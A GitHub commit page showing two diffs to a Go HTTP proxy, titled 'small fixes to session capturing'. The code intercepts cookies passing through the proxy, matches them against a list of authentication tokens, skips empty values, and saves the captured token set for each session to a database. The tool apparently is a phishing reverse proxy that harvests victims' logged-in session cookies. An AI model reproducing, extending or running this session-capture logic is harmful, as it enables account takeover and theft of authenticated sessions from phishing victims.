Skip to content

Commit

Permalink
small fixes to session capturing
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Aug 9, 2018
1 parent f714565 commit 31f582b
Show file tree
Hide file tree
Showing 2 changed files with 18 additions and 14 deletions.
16 changes: 9 additions & 7 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -326,14 +326,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if pl != nil && ps.SessionId != "" {
if stringExists(ck.Name, auth_tokens) {
s, ok := p.sessions[ps.SessionId]
if ok {
is_auth = s.AddAuthToken(ck.Name, ck.Value, auth_tokens)
if is_auth {
tmap := pl.GenerateTokenSet(s.Tokens)
if err := p.db.SetSessionTokens(ps.SessionId, tmap); err != nil {
log.Error("database: %v", err)
if ok && !s.IsDone {
if ck.Value != "" { // cookies with empty values are of no interest to us
is_auth = s.AddAuthToken(ck.Name, ck.Value, auth_tokens)
if is_auth {
tmap := pl.GenerateTokenSet(s.Tokens)
if err := p.db.SetSessionTokens(ps.SessionId, tmap); err != nil {
log.Error("database: %v", err)
}
s.IsDone = true
}
s.IsDone = true
}
}
}
Expand Down
16 changes: 9 additions & 7 deletions core/session.go
Original file line number Diff line number Diff line change
Expand Up @@ -37,13 +37,15 @@ func (s *Session) SetPassword(password string) {
func (s *Session) AddAuthToken(key string, value string, req_keys []string) bool {
s.Tokens[key] = value

var tkeys []string
tkeys = append(tkeys, req_keys...)
for k, _ := range s.Tokens {
tkeys = removeString(k, tkeys)
}
if len(tkeys) == 0 {
return true
if len(req_keys) > 0 {
var tkeys []string
tkeys = append(tkeys, req_keys...)
for k, _ := range s.Tokens {
tkeys = removeString(k, tkeys)
}
if len(tkeys) == 0 {
return true
}
}
return false
}

0 comments on commit 31f582b

Please sign in to comment.